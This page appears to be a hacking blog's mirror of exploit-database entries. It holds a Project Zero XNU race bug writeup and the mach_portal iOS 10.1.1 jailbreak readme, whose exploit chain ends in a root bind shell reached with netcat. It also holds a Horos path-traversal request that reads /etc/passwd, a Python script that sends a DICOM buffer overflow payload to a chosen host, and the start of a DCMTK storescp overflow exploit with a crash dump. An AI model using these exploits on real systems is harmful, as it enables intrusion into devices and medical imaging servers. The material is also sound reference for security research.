Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863587298

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=965

set_dp_control_port is a MIG method on the host_priv_port so this bug is a root->kernel escalation.

  kern_return_t
  set_dp_control_port(
    host_priv_t host_priv,
    ipc_port_t  control_port) 
  {
          if (host_priv == HOST_PRIV_NULL)
                  return (KERN_INVALID_HOST);

    if (IP_VALID(dynamic_pager_control_port))
      ipc_port_release_send(dynamic_pager_control_port);

    dynamic_pager_control_port = control_port;
    return KERN_SUCCESS;
  }

This should be an atomic operation; there's no locking so two threads can race to see the same value for
dynamic_pager_control_port and release two references when the kernel only holds one.

This PoC triggers the bug such that the first thread frees the port and the second uses it; a
more sensible approach towards exploiting it would be to use this race to try to decrement the reference count
of a port with two references to zero such that you end up with a dangling port pointer.

Tested on MacOS 10.12 16A323
 
##############################################################################

/* ianbeer */

READ THIS FIRST:
if you do not have an iPod touch 6g running 10.1.1 (14b100) or and iPad mini 2 running 10.1.1 (14b100) this project will
not work out of the box(*)! You need to fix up a couple of offsets - see the section futher down
"Adding support for more devices"

(*) more precisely, I only have those devices and have only tested it on them.
(*) 1b4150 will probably also work, I haven't tested it.

Contents:
 1 - Build Instructions
 2 - Adding support for other devices
 3 - Notes on the bugs and exploits

*** (1) Build Instructions ***

 * download and install Xcode 8.1 or higher

 * download Jonathan Levin’s collection of arm64 iOS binaries:
    + Follow the link for "The 64-bit tgz pack" here:
      http://newosxbook.com/tools/iOSBinaries.html (you want iosbinpack64.tgz)
    + extract it into the iosbinpack64 directory which is already in the mach_portal
      source dir so that directly underneath iosbinpack64 you have the bin/, etc/, sbin/, usr/ directories
      When you expand the iosbinpack64 directory in the xcode folder view you should see those folders

 * open this .xcodeproj

 * if you don't have an apple id make one now at https://appleid.apple.com

 * if you don't have a developer signing certificate you can make a free one now in Xcode

 * in Xcode go Xcode->Preference->Accounts and click the '+' in the lower left hand corner and add your apple id

 * select your account then "View Details" and under signing identites click Create next to iOS Development

 * connect your iDevice and click "trust" in the pop up on it

 * wait for xcode to process symbol files for this device

 * in the box to the right of the play and stop buttons in the top left corner of the xcode window select your iDevice

 * in the left hand window pane select the mach_portal project and navigate to the General tab

 * in the signing window select your personal team

 * We now need to fix up a few things:

 * go to Build Settings -> Packaging and give your project a new, unique bundle identifier
    (eg change it from "com.example.mach_portal" to "com.ios.test.account.mach_portal"
     where ios.test.account is your apple id. (it doesn’t have to be your apple id, just a unique string))

 * We also need to register a unique App Group:

 * In the capabilities view scroll down to the App Groups section, remove the existing App Group ("group.mach_portal")
   and add a new unique one (eg "group.ios.test.account.mach_portal")

 * open jailbreak.c and change the app_group variable to this new app group id.

 * on the iDevice go to settings -> General -> Device Management and select your apple ID and click trust

 * in xcode click view -> debug area -> activate console so you can see debugging output (there's no output on the iDevice screen at all, that's normal)

 * make sure your iDevice and host are connected to the same wifi network and that network allows client to client connections. Note down the iDevice's ip address.

 * click play to run the app on the iDevice. If it fails press and hold the power and home buttons to reset the device. If Xcode asks you to enable developer mode on this mac agree.

 * if it succeeds you should see:
    "shell listening on port 4141"
   printed to the debug consol

 * the kernel exploit is only around 50% reliable (this can certainly be improved, read the code and make it better!)
     it will fail more often if there is high system load - try leaving the device for a minute after rebooting it and connecting it to you mac before trying again

 * connect to that port with netcat:
     nc X.X.X.X 4141
   where X.X.X.X is your iDevice’s ip address

 * you have a root shell :) There’s no controlling terminal so fancy curses gui stuff won't work unless you fix that

 * you can run any pseudo-signed thin ARM64 binaries - if you want the kernel task port it's host special port 4

 * copy your custom testing tools to the iosbinpack64 directory and they'll be bundled with the .app so you can run them from the shell

 * you're running as an unsandboxed root user so you can talk to any iokit user clients/mach services

 * amfid is patched to allow any signatures/entitlements

 * When you’re done hold power and home to reset the device

*** (2) Adding support for other devices ***
 * you have to do this manually, sorry!

 * download the ipsw for your device from https://www.theiphonewiki.com/wiki/Firmware
   The bugs are there in any version <= 10.1.1 but the further back you go the more offsets
   will be wrong so ideally stick to 10.1.1 (and for anything earlier that iOS 10 the kernel cache
   is encrypted so you'll have to do the rest yourself)

 * for >= iOS 10 unzip the ipsw and hexdump the kernel.release.* file like this:

$ hexdump -C kernelcache.release.n51 | head
00000000  30 83 b5 9b 0d 16 04 49  4d 34 50 16 04 6b 72 6e  |0......IM4P..krn|
00000010  6c 16 1c 4b 65 72 6e 65  6c 43 61 63 68 65 42 75  |l..KernelCacheBu|
00000020  69 6c 64 65 72 2d 31 31  36 32 2e 32 30 2e 31 04  |ilder-1162.20.1.|
00000030  83 b5 9a de 63 6f 6d 70  6c 7a 73 73 83 13 7d ae  |....complzss..}.|
00000040  01 64 80 00 00 b5 29 5e  00 00 00 01 00 00 00 00  |.d....)^........|
00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
000001b0  00 00 00 00 ff cf fa ed  fe 0c 00 00 01 d5 00 f6  |................|
000001c0  f0 02 f6 f0 14 f6 f0 38  0e 9a f3 f1 20 f6 f1 00  |.......8.... ...|
000001d0  19 ff f1 f5 f0 5f 9f 5f  54 45 58 54 09 02 1c 03  |....._._TEXT....|

 * note down the offset of the ff cf fa ed fe byte sequence (in this case it's 0x1b4)

 * compile lzssdec from http://nah6.com/~itsme/cvs-xdadevtools/iphone/tools/lzssdec.cpp

 * run a command like: lzssdec -o 0x1b4 < kernel.release.n51 > kernel.decompressed

 * open the decompressed kernelcache in a recent version of IDA Pro (with support for iOS kextcaches)

 * say yes when IDA asks to split by kext

 * let the auto-analysis run - depending on how fast your computer is this might take a while! (it takes my 2013 MBP about 30 minutes)

 * go view -> open subviews -> segments and find the __TEXT:HEADER segment, the start should be FFFFFFF007004000
   if it isn't note this down as you'll need to work out a couple of offsets relative to this

 * go view -> open subviews -> names and find the kernproc data symbol.

 * subtract the __TEXT:HEADER value from that, this is the kernproc offset
     eg for iPhone 5S 10.1.1 kernproc is at FFFFFFF0075AE0E0 making the offset: 0x5AA0E0

 * now the harder one! We need to find allproc which isn't exported so is harder to find:

 * go view -> open subviews -> strings and find the string "pgrp_add : pgrp is dead adding process"

 * hit 'x' on the autogenerated string symbol name; you should see this symbol referenced from two functions

 * open the smaller of those functions in the IDA graph view

 * this is pgrp_add in the XNU source

 * scroll to the bottom of the CFG, the final three nodes all reference the same global variable with code like this:
    ADRP  X8, #qword_FFFFFFF0075A8128@PAGE
    LDR   X9, [X8,#qword_FFFFFFF0075A8128@PAGEOFF]

 * that's the address of allproc - subtract the kernel base to get the offset, in this case it's: 0x5A4128

 * open offset.c and add support for your device. You should only have to update those two variable (kernproc and allproc)
   The structure offsets should stay the same, at least for recent kernels. If you want to target a much older kernel you'll
   also have to work out all the structure offsets - this is much more fiddly.

 * 32-bit devices:
   All the offsets will be totally different and the code which manipulates the kernel data structures will also be completely wrong.
   There's no reason it wouldn't work but you'll have to fix the code to make it work

*** fixing userspace stuff ***

I also rely on a handful of offsets in amfid; you should be able to find those very easily if they're different on your target.
See the code and alse the section "Patch amfid" below.

*** (3) Notes on the bugs and exploits ***

This project is called "mach_portal" - it's the result of a research project I did this year looking at mach ports. (All the bugs used
involve mach ports :-) ) There are two main bugs plus one more which is only used to force a service to restart:

CVE-2016-7637: Broken kernel mach port name uref handling on iOS/MacOS can lead to privileged port name replacement in other processes

CVE-2016-7644: XNU kernel UaF due to lack of locking in set_dp_control_port

CVE-2016-7661: MacOS/iOS arbitrary port replacement in powerd

There is no untether (persistent codesigning bypass) but the exploit will temporarily disable codesigning while it runs so you can run
unsigned binaries.

The high level exploit flow is like this:

I use CVE-2016-7637 to replace launchd's send right to com.apple.iohideventsystem with a send right to a port for which I hold the receive right.
I use CVE-2016-7661 to crash the powerd daemon (which runs as root). It gets automatically restarted and as part of its startup it will
lookup the com.apple.iohideventsystem mach service and send its own task port to that service. Since I hold the receive
right for that port this means that powerd actually sends me its task port giving me complete control over it :-)
I use powerd's task port to get the host_priv port which I use to trigger the kernel bug.

The kernel bug is a lack of locking when releasing a reference on a port. I allocate a large number of mach ports then trigger the bug on around 20
of them which are likely to be allocated near each other in the kernel. I use no-more-senders notifications so I can deterministically know when I've
managed to over-release a port so that I can actually give myself dangling port pointers at an exact point in time later.

I free all these mach ports (leaving myself with ~20 dangling mach port pointers) and force a zone GC. I try to move
the page pointed to by all the dangling port pointers into the kalloc.4096 zone and then I send myself a large number of mach message containing OOL
ports with send rights to the host port. I set up these OOL port pages so that overlapping the dangling port's context pointers there's a pointer
to the host port ipc_port and the dangling port's lock and is_guarded fields are replaced with NULL pointers.

If that all worked I can call mach_port_get_context on each of the dangling ports and I should get back the address of the host port ipc_port.

The kernel task port is allocated at around the same time as the host port and as such they both end up in the same kernel zone page. I work
out the base of this page then call mach_port_set_context on all of the dangling ports passing each possible address of the kernel task port
in turn. I then receive all the ports I sent to myself and if everything worked I've ended receiving a send right to the kernel task port :)

Here's a more detailed writeup of the sandbox escape part of the exploit. You'll have to read the code for the kernel exploit, I haven't written
a longer writeup for that yet.

*** Sandbox escape ***

When sending and receiving mach messages from userspace there are two important kernel objects; ipc_entry and
ipc_object.

ipc_entry's are the per-process handles or names which a process uses to refer to a particular ipc_object.

ipc_object is the actual message queue (or kernel object) which the port refers to.

ipc_entrys have a pointer to the ipc_object they are a handle for along with the ie_bits field which contains
the urefs and capacility bits for this name/handle (whether this is a send right, receive right etc.)

  struct ipc_entry {
    struct ipc_object *ie_object;
    ipc_entry_bits_t ie_bits;
    mach_port_index_t ie_index;
    union {
      mach_port_index_t next;   /* next in freelist, or...  */
      ipc_table_index_t request;  /* dead name request notify */
    } index;
  };

#define IE_BITS_UREFS_MASK  0x0000ffff  /* 16 bits of user-reference */
#define IE_BITS_UREFS(bits) ((bits) & IE_BITS_UREFS_MASK)

The low 16 bits of the ie_bits field are the user-reference (uref) count for this name.

Each time a new right is received by a process, if it already had a name for that right the kernel will
increment the urefs count. Userspace can also arbitrarily control this reference count via mach_port_mod_refs
and mach_port_deallocate. When the reference count hits 0 the entry is free'd and the name can be re-used to
name another right (this is actually only the case for send rights).

ipc_right_copyout is called when a right will be copied into a space (for example by sending a port right in a mach
message to another process.) Here's the code to handle the sending of a send right:

    case MACH_MSG_TYPE_PORT_SEND:
        assert(port->ip_srights > 0);
        
        if (bits & MACH_PORT_TYPE_SEND) {
            mach_port_urefs_t urefs = IE_BITS_UREFS(bits);
            
            assert(port->ip_srights > 1);
            assert(urefs > 0);
            assert(urefs < MACH_PORT_UREFS_MAX);
            
            if (urefs+1 == MACH_PORT_UREFS_MAX) {
                if (overflow) {
                    /* leave urefs pegged to maximum */     <---- (1)
                    
                    port->ip_srights--;
                    ip_unlock(port);
                    ip_release(port);
                    return KERN_SUCCESS;
                }
                
                ip_unlock(port);
                return KERN_UREFS_OVERFLOW;
            }
            port->ip_srights--;
            ip_unlock(port);
            ip_release(port);
       
     ...     
        
        entry->ie_bits = (bits | MACH_PORT_TYPE_SEND) + 1;  <---- (2)
        ipc_entry_modified(space, name, entry);
        break;


If copying this right into this space would cause that right's name's urefs count in that space to hit 0xffff
then (if overflow is true) we reach the code at (1) which claims in the comment that it will leave urefs pegged at maximum.
This branch doesn't increase the urefs but still returns KERN_SUCCESS. Almost all callers pass overflow=true.

The reason for this "pegging" was probably not to prevent the reference count from becoming incorrect but rather because
at (2) if the urefs count wasn't capped the reference count would overflow the 16-bit bitfield into the capability bits.

The issue is that the urefs count isn't "pegged" at all. I would expect "pegged" to mean that the urefs count will now stay at 0xfffe
and cannot be decremented - leaking the name and associated ipc_object but avoiding the possibilty of a name being over-released.

In fact all that the "peg" does is prevent the urefs count from exceeding 0xfffe; it doesn't prevent userspace from believing
it has more urefs than that (by eg making the copyout's fail.)

What does this actually mean?

Let's consider the behaviour of mach_msg_server or dispatch_mig_server. They receive mach service messages in a loop and if the message
they receieved didn't corrispond to the MIG schema they pass that received message to mach_msg_destroy. Here's the code where mach_msg_destroy
destroys an ool_ports_descriptor_t:

    case MACH_MSG_OOL_PORTS_DESCRIPTOR : {
      mach_port_t                 *ports;
      mach_msg_ool_ports_descriptor_t *dsc;
      mach_msg_type_number_t      j;

      /*
       * Destroy port rights carried in the message 
       */
      dsc = &saddr->ool_ports;
      ports = (mach_port_t *) dsc->address;
      for (j = 0; j < dsc->count; j++, ports++)  {
          mach_msg_destroy_port(*ports, dsc->disposition); // calls mach_port_deallocate
      }
    ...

This will call mach_port_deallocate for each ool_port name received.

If we send such a service a mach message with eg 0x20000 copies of the same port right as ool ports the ipc_entry for that name will actually only have
0xfffe urefs. After 0xfffe calls to mach_port_deallocate the urefs will hit 0 and the kernel will free the ipc_entry and mark that name as free. From this
point on the name can be re-used to name another right (for example by sending another message received on another thread) but the first thread will
still call mach_port_deallocate 0x10002 times on that name.

This leads to something like a use-after-deallocate of the mach port name - strictly a userspace bug (there's no kernel memory corruption etc here) but
caused by a kernel bug.

The challenge to exploiting this bug is getting the exact same port name reused
in an interesting way.

This requires us to dig in a bit to exacly what a port name is, how they're allocated
and under what circumstances they'll be reused.

Mach ports are stored in a flat array of ipc_entrys:

  struct ipc_entry {
    struct ipc_object *ie_object;
    ipc_entry_bits_t ie_bits;
    mach_port_index_t ie_index;
    union {
      mach_port_index_t next;   /* next in freelist, or...  */
      ipc_table_index_t request;  /* dead name request notify */
    } index;
  };

mach port names are made up of two fields, the upper 24 bits are an index into the ipc_entrys table
and the lower 8 bits are a generation number. Each time an entry in the ipc_entrys table is reused
the generation number is incremented. There are 64 generations, so after an entry has been reallocated
64 times it will have the same generation number.

The generation number is checked in ipc_entry_lookup:

  if (index <  space->is_table_size) {
                entry = &space->is_table[index];
    if (IE_BITS_GEN(entry->ie_bits) != MACH_PORT_GEN(name) ||
        IE_BITS_TYPE(entry->ie_bits) == MACH_PORT_TYPE_NONE)
      entry = IE_NULL;    
  }

here entry is the ipc_entry struct in the kernel and name is the user-supplied mach port name.

Entry allocation:
The ipc_entry table maintains a simple LIFO free list for entries; if this list is free the table will 
be grown. The table is never shrunk.

Reliably looping mach port names:
To exploit this bug we need a primitive that allows us to loop a mach port's generation number around.

After triggering the urefs bug to free the target mach port name in the target process we immediately
send a message with N ool ports (with send rights) and no reply port. Since the target port was the most recently
freed it will be at the head of the freelist and will be reused to name the first of the ool ports
contained in the message (but with an incremented generation number.)
Since this message is not expected by the service (in this case we send an
invalid XPC request to launchd) it will get passed to mach_msg_destroy which will pass each of 
the ports to mach_port_deallocate freeing them in the order in which they appear in the message. Since the
freed port was reused to name the first ool port it will be the first to be freed. This will push the name
N entries down the freelist.

We then send another 62 of these looper messages but with 2N ool ports. This has the effect of looping the generation
number of the target port around while leaving it in approximately the middle of the freelist. The next time the target entry
in the table is allocated it will have exactly the same mach port name as the original target right we
triggered the urefs bug on.

For this iOS exploit I target the send right to com.apple.iohideventsystem which launchd has, and which I can lookup from inside the
container sandbox

I look up the iohideventsystem service in launchd then use the urefs bug to free launchd's send right and use the
looper messages to spin the generation number round. I then register a large number of dummy services
with launchd so that one of them reuses the same mach port name as launchd thinks the iohideventsystem service has.
(We can't register global mach services from inside the container sandbox but we can register App Group-restricted
services, which work just the same for our purposes. This is why the exploit needs the App Groups capability.)

Now when any process looks up com.apple.iohideventsystem launchd will actually send them a send right
to one of my dummy services :)

I add all those dummy services to a portset and use that recieve right and the legitimate iohideventsystem send right
I still have to MITM all these new connections to iohideventsystem. As mentioned earlier clients of iohideventsystem send
it their task ports, so all I have to do is crash a process which runs as root and is a client of iohideventsystem. When it
restarts it will send it's task port to me :-)

*** Powerd crasher ***

To crash powerd I use CVE-2016-7661:

powerd checks in with launchd to get a server port and then wraps that in a CFPort:

  pmServerMachPort = _SC_CFMachPortCreateWithPort(
                          "PowerManagement",
                          serverPort, 
                          mig_server_callback, 
                          &context);

It also asks to receive dead name notifications for other ports on that same server port:

  mach_port_request_notification(
              mach_task_self(),           // task
              notify_port_in,                 // port that will die
              MACH_NOTIFY_DEAD_NAME,      // msgid
              1,                          // make-send count
              CFMachPortGetPort(pmServerMachPort),        // notify port
              MACH_MSG_TYPE_MAKE_SEND_ONCE,               // notifyPoly
              &oldNotify);                                // previous

mig_server_callback is called off of the mach port run loop source to handle new messages on pmServerMachPort:

  static void
  mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info)
  {
      mig_reply_error_t * bufRequest = msg;
      mig_reply_error_t * bufReply = CFAllocatorAllocate(
          NULL, _powermanagement_subsystem.maxsize, 0);
      mach_msg_return_t   mr;
      int                 options;

      __MACH_PORT_DEBUG(true, "mig_server_callback", serverPort);
      
      /* we have a request message */
      (void) pm_mig_demux(&bufRequest->Head, &bufReply->Head);

This passes the raw message to pm_mig_demux:

  static boolean_t 
  pm_mig_demux(
      mach_msg_header_t * request,
      mach_msg_header_t * reply)
  {
      mach_dead_name_notification_t *deadRequest = 
                      (mach_dead_name_notification_t *)request;
      boolean_t processed = FALSE;

      processed = powermanagement_server(request, reply);

      if (processed) 
          return true;
      
      if (MACH_NOTIFY_DEAD_NAME == request->msgh_id) 
      {
          __MACH_PORT_DEBUG(true, "pm_mig_demux: Dead name port should have 1+ send right(s)", deadRequest->not_port);

          PMConnectionHandleDeadName(deadRequest->not_port);

          __MACH_PORT_DEBUG(true, "pm_mig_demux: Deallocating dead name port", deadRequest->not_port);
          mach_port_deallocate(mach_task_self(), deadRequest->not_port);
          
          reply->msgh_bits            = 0;
          reply->msgh_remote_port     = MACH_PORT_NULL;

          return TRUE;
      }

This passes the message to the MIG-generated code for the powermanagement subsystem, if that fails (because the msgh_id doesn't
match the subsystem for example) then this compares the message's msgh_id field to MACH_NOTIFY_DEAD_NAME.

deadRequest is the message cast to a mach_dead_name_notification_t which is defined like this in mach/notify.h:

  typedef struct {
      mach_msg_header_t   not_header;
      NDR_record_t        NDR;
      mach_port_name_t not_port;/* MACH_MSG_TYPE_PORT_NAME */
      mach_msg_format_0_trailer_t trailer;
  } mach_dead_name_notification_t;

This is a simple message, not a complex one. not_port is just a completely controlled integer which in this case will get passed directly to
mach_port_deallocate.

The powerd code expects that only the kernel will send a MACH_NOTIFY_DEAD_NAME message but actually anyone can send this and force the privileged process
to drop a reference on a controlled mach port name :)

Multiplexing these two things (notifications and a mach service) onto the same port isn't possible to do safely as the kernel doesn't prevent
user->user spoofing of notification messages - usually this wouldn't be a problem as attackers shouldn't have access to the notification port.

You could probably do quite interesting things with this bug but in this case I just want to crash the service. I do that by spoofing no-more-senders
notifications for powerd's task port. Once powerd's send right to its own task port has been freed pretty much everything breaks - in this case
I send a copy_powersources_info message, the receving code doesn't check the return value of a call to mach_vm_allocate which fails because the
task's task port is wrong and leads to the use of an uninitialized pointer.

*** Kernel Bug ****

See above for a short writeup of the kernel bug exploit. I will try to write a long-form writeup soon, but the code should be kind of clear.

*** Post-exploitation ****

I've taken a slightly different approach post-exploitation. Everything is data-only, I don't make any patches to r/o kernel memory. This means
things should also work on the iPhone 7 but I don't have one to test :(

There are a number of downsides to taking this approach though:
  * technically a lot of these things I do are racy, but in pratice it works perfectly well enough for a research platform
  * some things become quite fiddly which are simple with a TEXT patch

This is also a research project for me; there are almost certainly far more downsides that I'm not aware of. iOS is complex, undocumented place
and I don't really know what I'm doing!

The flow works like this:

Walk the process list and find the following tasks:
 amfid
 mach_portal
 containermanagerd
 launchd

Disable the sandbox:
  sb_evaluate has a short-circuit success path if the process has the kern_cred credentials; neither the plaform policy nor
  the process's sandbox profile will be evaluated. We can use the kernel memory access to give the mach_portal process the
  kernel's credentials and we're no longer sandboxed.

Fix launchd:
  The sandbox escape made a mess in launchd so I fix up launchd's send right to iohideventsystem to point back to the correct port.
  I then restart powerd because otherwise we hit a watchdog timeout.

Patch amfid:
  In order to run unsigned binaries and have somethign like a proper shell environment we need to convince amfid to allow binaries with invalid
  signatures. Previous efforts in this area have replaced amfids import of MISValidateSignature to a function which would always return 0 (success)
  but amfid now calls MISValidateSignatureAndCopyInfo which takes an out pointer to a CFDictionary which is expected to contain the correct CDHash
  so just replacing the import won't work. I instead set myself as amfid's exception handler and point the MISValidateSignatureAndCopyInfo to an invalid
  address. This means that amfid will crash whenever it validates a signature, and since we're the exception handler we get a message on the exception port
  with the crashing thread state. I read the path to the file to be validated from amfid's address space, compute the CDHash SHA1 myself and write that into the
  reply message which amfid will send back to the kernel then resume execution of amfid so it can send the reply.

Unsandbox containermangerd:
  Since I haven't had time to investigate LvVM yet I don't remount the rootfs r/w which means that all the binaries we run are from the user partition. This means
  that we can't prevent the kernel from requesting that containermanagerd allocate a container for them. I did test out doing a similar patch for containermanagerd
  as I did for amfid which parsed the sb_packbuff requests from the kernel and fixed them up so that containermanagerd didn't get upset but it seemed easier to
  just unsandbox it so it can make the directories it wants. This decision should be revisited, it's not ideal!

Make sure all child processes are also unsandboxed:
  Since the sandbox defeat involves cheating by using the kern_cred we need a way to make sure all our child processes also have the kern_cred. This is kind of a hack
  but it works fine for my purposes. You should really revisit this if you want to improve on this code!
  I allocate a new mach port and set that as my bootstrap port and spin up a thread which mitm's between that port and a real send right to launchd. I request an audit
  trailer with each message which allows me to get the sender of the message and thus be notified when a new child starts. I then use the kernel memory access to
  find that pid's proc structure and give it and all its threads the kernel creds. A constructor in libxpc will make a synchronous request to the bootstrap
  port during dyld initialization before any application code actually runs so this works well enough to allow all our children to run unsandboxed

Set kernel task port as host special port:
  I also set the kernel task port as host special port 4 so you can easily get at it without having to rewrite the exploit code.

Shell:
  I chmod everything in the iosbinpack64 directory to be executable then run bash on a bind shell on port 4141. This isn't ideal but is enough to run test tools
  and explore the system, talk to all the userclients, devices, mach services, sysctls etc that you want to.


Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40931.zip
            
Horos 2.1.0 Web Portal Remote Information Disclosure Exploit


Vendor: Horos Project
Product web page: https://www.horosproject.org
Affected version: 2.1.0

Summary: Horos is an open-source, free medical image viewer. The goal of the
Horos Project is to develop a fully functional, 64-bit medical image viewer for
OS X. Horos is based upon OsiriX and other open source medical imaging libraries.

Desc: Horos suffers from a file disclosure vulnerability when input passed thru the
URL path is not properly verified before being used to read files. This can be
exploited to include files from local resources with directory traversal attacks.

Tested on: macOS Sierra/10.12.2
           macOS Sierra/10.12.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5387
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5387.php


15.12.2016

--


PoC request:

http://127.0.0.1:3333/.../...//.../...//.../...//.../...//.../...//etc/passwd


Response:

##
# User Database
# 
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico
_taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false
_networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false
...
...
...
            
#!/usr/bin/env python
# -*- coding: utf8 -*-
#
#
# Horos 2.1.0 DICOM Medical Image Viewer Remote Memory Overflow Vulnerability
#
#
# Vendor: Horos Project
# Product web page: https://www.horosproject.org
# Affected version: 2.1.0
#
# Summary: Horos is an open-source, free medical image viewer. The goal of the Horos Project is
# to develop a fully functional, 64-bit medical image viewer for OS X. Horos is based upon OsiriX
# and other open source medical imaging libraries.
#
# Desc: The vulnerability is caused due to the usage of vulnerable collection of libraries that
# are part of DCMTK Toolkit, specifically the parser for the DICOM Upper Layer Protocol or DUL.
# Stack/Heap Buffer overflow/underflow can be triggered when sending and processing wrong length
# of ACSE data structure received over the network by the DICOM Store-SCP service. An attacker can
# overflow the stack and the heap of the process when sending large array of bytes to the presentation
# context item length segment of the DICOM standard, potentially resulting in remote code execution
# and/or denial of service scenario.
#
# Tested on: OS X 10.12.2 (Sierra)
#            OS X 10.12.1 (Sierra)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2016-5386
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5386.php
#
#
# 15.12.2016
#


import sys, socket

hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
         '\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
         '\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
         '\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
         '\x31\x20\x00\x80\x00')

buffer = '\x41\x42\x43\x44' * 10000

bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
       '\x52\x00\x00\x00')

if len(sys.argv) < 3:
  print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
  print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 11112\n'
  sys.exit(0)
 
host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(251)
s.send(hello+buffer+bye)
s.close
            
#!/usr/bin/env python
# -*- coding: utf8 -*-
#
#
# DCMTK storescp DICOM storage (C-STORE) SCP Remote Stack Buffer Overflow
#
#
# Vendor: OFFIS e. V.
# Product web page: http://www.dcmtk.org
# Affected version: <= 3.6.0
# Not affected: DCMTK-3.6.1_20160216 - https://github.com/commontk/DCMTK/commit/1b6bb76
#
# http://www.idoimaging.com/programs?order=program.rdate&
#
# Summary: DCMTK is a collection of libraries and applications implementing large
# parts the DICOM standard. It includes software for examining, constructing and
# converting DICOM image files, handling offline media, sending and receiving images
# over a network connection, as well as demonstrative image storage and worklist
# servers. DCMTK is is written in a mixture of ANSI C and C++. It comes in complete
# source code and is made available as "open source" software.
#
# Desc: "At several places in the code a wrong length of ACSE data structures received
# over the network can cause overflows or underflows when processing those
# data structures. Related checks have been added at various places in order
# to prevent such (possible) attacks. Thanks to Kevin Basista for the report."
#
# The bug will indeed affect all DCMTK-based server applications that accept incoming
# DICOM network connections that are using the dcmtk-3.6.0 and earlier versions.
# Developers are advised to apply the patched-DCMTK-3.6.1_20160216 fix commit from
# Dec 14, 2015.
#
# ---------------------------------------------------------------------------------
#
# Process 27765 stopped
# * thread #1: tid = 0x3e4b46, 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x10380001b)
#     frame #0: 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325
# storescp`parsePresentationContext:
# ->  0x1000a6f1d <+3325>: movb   (%rax), %al
#     0x1000a6f1f <+3327>: movzbl %al, %eax
#     0x1000a6f22 <+3330>: cmpl   $0x40, %eax
#     0x1000a6f25 <+3333>: movl   %eax, -0xa74(%rbp)
# (lldb) re r
# General Purpose Registers:
#        rax = 0x000000010380001b
#        rbx = 0x0000000000000000
#        rcx = 0x00000001002d40f0  vtable for log4cplus::spi::AppenderAttachable + 16
#        rdx = 0x0000000000000010
#        rdi = 0x00007fff5fbf78a0
#        rsi = 0x3f7bc30000000000
#        rbp = 0x00007fff5fbf7b30
#        rsp = 0x00007fff5fbf7030
#         r8 = 0x0000000100733918
#         r9 = 0x00000000003e4b46
#        r10 = 0x0000000100733920
#        r11 = 0xffffffff00000000
#        r12 = 0x0000000000000000
#        r13 = 0x0000000000000000
#        r14 = 0x0000000000000000
#        r15 = 0x0000000000000000
#        rip = 0x00000001000a6f1d  storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325
#     rflags = 0x0000000000010246
#         cs = 0x000000000000002b
#         fs = 0x0000000000000000
#         gs = 0x0000000000000000
#
# (lldb)
#
# =====
#
# ➜  bin ./storescp -d 4242
# D: $dcmtk: storescp v3.6.0 2011-01-06 $
# D: 
# D: setting network receive timeout to 60 seconds
# D: PDU Type: Associate Request, PDU Length: 32881 + 6 bytes PDU header
# D: Only dumping 512 bytes.
# D:   01  00  00  00  80  71  00  01  00  00  4f  52  54  48  41  4e
# D:   43  20  20  20  20  20  20  20  20  20  54  45  53  54  53  55
# D:   49  54  45  00  00  00  00  00  00  00  00  00  00  00  00  00
# D:   00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
# D:   00  00  00  00  00  00  00  00  00  00  10  00  00  15  31  2e
# D:   32  2e  38  34  30  2e  31  30  30  30  38  2e  33  2e  31  2e
# D:   31  2e  31  20  00  80  00  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
